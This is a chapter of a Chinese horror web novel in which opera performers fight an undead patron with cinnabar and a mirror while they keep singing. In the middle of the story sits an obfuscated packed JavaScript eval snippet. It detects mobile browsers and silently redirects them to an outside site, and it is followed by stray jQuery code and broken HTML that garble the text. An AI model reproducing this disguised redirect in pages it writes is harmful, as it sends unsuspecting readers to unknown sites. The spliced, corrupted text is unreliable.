“完成麻姑献桃!献桃啊!”章玉响的嘶吼声狠狠击中演员们濒临崩溃的神经。
林苏禾浑身颤抖,看着倒在自己脚边死不瞑目的苟继春,又看到本该接过寿桃的手空空如也,巨大的恐惧让她下意识咬着下唇,血腥味在嘴里蔓延开。
她强迫扭动僵硬的身体,对着空气做了一个献桃的动作,颤抖着唱出了下一句唱词:“愿……老寿星……福寿双全……”
终于是将这一出戏演完,退场时,小乙和章玉响借着搬道具的功夫,将苟继春的尸体拖了下来。现在还不能完全放松,下一个节目很快就安排上。
根据今早的彩排,接下来的一出戏是《凤还巢》,林苏禾扮演程雪娥,姜莱扮演程雪雁。
“日前领了严亲令,命奴家在帘内偷觑郎君。”①林苏禾唱出台词,因为害怕,声音带着一丝不易察觉的飘。
身体随着唱词摇曳,按照既定的身段,目光流转,就在眼神扫过舞台两侧的观众席时,林苏禾猛地发现所有宾客身上都挂着密密麻麻的白色丝带,每个的身体都被吊离地面,脚尖朝前。
这一幕,使得林苏禾感觉身上的血液瞬间凝结,这一切很可能是幻觉。她深知这戏绝不能停,水袖宽大,趁着大家都注意不到,她用指甲狠狠掐手指关节,疼痛是有效的提神剂。
唱!必须唱下去!
随后姜莱在鼓点声中出场,她画着夸张的白色底妆,面颊有两团离谱的红晕,整个人十分滑稽,却在这摇曳的灯光下,显得异常诡异。
程雪雁是彩旦,戏里主要负责插科打诨,活跃气氛。按照规则,她不能在台上流露出任何悲伤的情绪,只能笑。
“人说妹妹长得好,我说奴家长的俏。喜欢我的人儿多,见我美貌都要笑。”②念白时,姜莱注意到了夫人身后的季若桐,她像是已经被抽走灵魂的纸扎人,灰白的眼珠空洞地望着前方。
姜莱脸上刻意画着向上弯起的大红嘴,此时僵硬地凝固着。她试图咧开嘴,但那笑容扭曲变形,比哭还难看。
后台幕布被猛地掀开一角,章玉响伸出了那张因恐惧紧张扭曲的脸,再次厉声咆哮:
“笑!”
“给老子笑出来!!”
“不管看到什么!笑!大声笑!”
姜莱的神智一下被拉了回来。
“哈……”一声及其干涩的声音从她喉咙处发出。
紧接着……
“哈哈哈……哈哈哈哈哈哈!!!”姜莱用尽力气爆发出这歇斯底里的笑声,她仰着头,拼命地笑着。
因为恐惧,眼泪不自觉地夺眶而出,泪水混合着油彩在她脸上冲刷出两道沟壑。
她眼神扫过观众席,寻找自己的同伴,她的眼里没有半点笑意,只有一种被规则扭曲纯粹的疯狂!
这时,姜莱内心产生了一个疯狂的想法,规则说了丑角不能笑,但是没有说其他人不能笑。
她借着唱戏身段,实则偷偷打手势给观众席上的同伴看,但她并不清楚,季若桐和白及是否还有意识。
很快,白及看出姜莱的手势。她从座位上站起,在观众席发出了比姜莱更加凄厉癫狂的大笑声:“哈哈哈哈!老寿星!您的胡子着火了!”
所有人的目光瞬间被这疯狂的喊叫声吸引,眼神齐刷刷地聚焦到了黄老爷那模糊不清的“面部”!
就是现在!
姜莱看到幕布缝隙中的小乙,此时正站在一个巨大的扇叶机关旁,她趁着背过身的瞬间口型提示小乙打开机关。
精神早就紧绷的小乙很快就领悟了姜莱的意思,他立刻使出吃奶的力气猛地扳动机关,一股强劲的气流狠狠拍向戏台前方。
今天碰面时白及交代过,黄老爷讨厌朱砂。早有准备的姜莱,掏出袖子中的朱砂向前一抛,朱砂粉尘瞬间扬起,直奔着看台去。
太快了!太突然了!
管家浑浊的眼珠剧烈地收缩,他那干瘪的嘴唇似乎要张开警示众人,但已经来不及了。
黄老爷还被刚刚白及那荒诞的“胡子着火”的喊叫声吸引,他头部微微转动了一下。下一秒,那朱砂就毫无保留地糊了他一脸。
如同滚烫的烙铁猛地放入到冰水里,黄老爷爆发出一声非人的尖叫声!
“呃啊啊啊啊!!”
他那模糊的身影猛地从太师椅上弹起,试图将身上那些朱砂全部抖掉。那些朱砂依旧紧紧依附在他的身上,隐约有丝丝缕缕的黑烟冒出,散发出烧焦羽毛的刺鼻气味。
与此同时,黄夫人那张惨白浓妆覆盖的脸,第一次出现了剧烈的波动!她眼神疯狂转动着,深红的嘴唇无意识地张开着。
她身后的季若桐同样剧烈抖动着,脸上的脂粉簌簌掉落,露出了原本真人的皮肤。
而一旁的“知云”,皮肤在碰到朱砂的瞬间燃烧起来。火越烧越旺,这时所有人才看清,它里面竟然是空的,是用竹子搭的骨架所拼成的纸扎人。
管家发出一声低沉的咆哮,佝偻的身体瞬间挺直,眼光死死锁定在观众席上的白及,白及感受到一股强烈的杀意。
戏台上,姜莱的狂笑戛然而止,她看着对面看台上那升腾的黑烟,心中生出一丝快意!成功了?!朱砂真的有效?!
一声更加狂暴的咆哮从管家口中发出,他那干枯的手指死死地指着戏台上的姜莱:
“孽障!亵渎!死!”
侍立在戏台两侧的仆役们,身体猛地一震,齐刷刷地将脸转向姜莱的方向。
“咻!咻!”
仆役们无视了戏楼的距离,瞬间从两侧腾空而起,直扑戏台上的姜莱。
“莱莱!跑!”林苏禾在戏台上发出撕心裂肺的尖叫声,完全忘记了角色,声音里充满着绝望。
姜莱想动,但身体却死死钉在原地,只能眼睁睁地看着那一道道惨白的身影靠近。
死亡,近在咫尺。
章玉响那张从幕后弹出的脸,已经因为极致的恐惧彻底扭曲变形,他死死盯着台上僵住的林苏禾和即将殒命的姜莱,发出了绝望的嘶吼:
“唱——!唱下去啊——!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110636|175194||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>是啊,唱下去啊,瞬间姜莱的身体似乎恢复了行动,她往前走了两步,继续唱道:
“对菱花打扮得花枝模样,今夜晚书房内我会会穆郎。”③
此时林苏禾的戏份已经结束,她配合着姜莱慢慢退下了场。戏继续唱起,已经腾空的仆役却瞬间定住了,演出期间,非演员都无法上到戏台上。
这只能拖延时间,一旦黄老爷发话,让这戏停下来,姜莱在劫难逃。
在早些时候,季若桐慢慢恢复了神智,她看了一眼自己身上,全是红色的朱砂,又看到知云穿着华丽的彩裙晕倒在前面的太师椅上,一旁的黄老爷正发出阵阵惨叫。
周围混乱成一团。
随着管家一声令下,仆役如蝗群一般朝着舞台奔去,她一定要救下同伴!!
她朝着黄老爷大声喊道:“你个人不人鬼不鬼的老东西!你还妄想着成仙!去你的!”
她这一怒骂,一旁的黄老爷痛苦的脸扭向她的方向,嘶哑的嗓子怒吼道:“老身已经得道成仙!你个丫头片子休得胡说!”
“好呀你个老东西!你还以为自己得道成仙了?!管家没有告诉你?你已经成为一滩烂泥,你的肉身都是用那些腥臭腐烂的动物凑成的!”
“该死!该死!”黄老爷暴怒道,猛地从太师椅上弹射而出,他不是飘,而是一种诡异的蠕动,瞬间来到季若桐身前。
他那双枯瘦发黑的手,狠狠扼住了季若桐那纤细的脖颈。
“呃——”季若桐只来得及发出一声短促的窒息声,她的眼中没有恐惧,眼底只有愤怒。她死死地瞪着那张被朱砂灼烧得模糊扭曲的脸。
“亵渎仙人!蝼蚁!当魂飞魄散!”黄老爷的咆哮声震得整个戏楼都在响。他手上的力量不断加大,季若桐的脊骨发出不堪重负的“咯咯”声,她的脸色从肉色慢慢变成了紫红色。
此时姜莱眼睁睁看着对面发生的一切,她戏不能停!白及此时在躲避管家的追扑,实在是没办法顾及,林苏禾正在往看台跑去。
就在千钧一发之际,知云醒了过来,她掏出怀里的一面镜子直直照向黄老爷。
“你好好看看现在的你!根本就不是什么仙人!只是一滩万人唾弃腥臭无比的烂泥!”知云对着黄老爷骂道。
“不——不可能——!!”黄老爷看着镜中的的自己,手上的力道突然松了下来,踉跄着后退了几步,季若桐狠狠地摔倒地上,整个人晕了过去。
突然,这具肉身在朱砂的作用下开始瓦解,皮肤大片大片地脱落,露出散发着浓烈恶臭的筋膜。此时所有人才看清,那些烂肉都是强行拼凑缝合而成。
在黄老爷自身狂暴的反噬下,缝合用的墨斗线正在寸寸绷断!
“呃……啊啊啊!!”
他试图用另一只尚未完全溃烂的手去捂住正在溶解的胸膛,但那只手触碰过的地方,溃烂反而更加迅速!
“仙躯……我的仙躯!”他那模糊的头部也在溶解,很快就塌陷成一个深不见底的窟窿,那窟窿里发出了不敢置信的呜鸣声。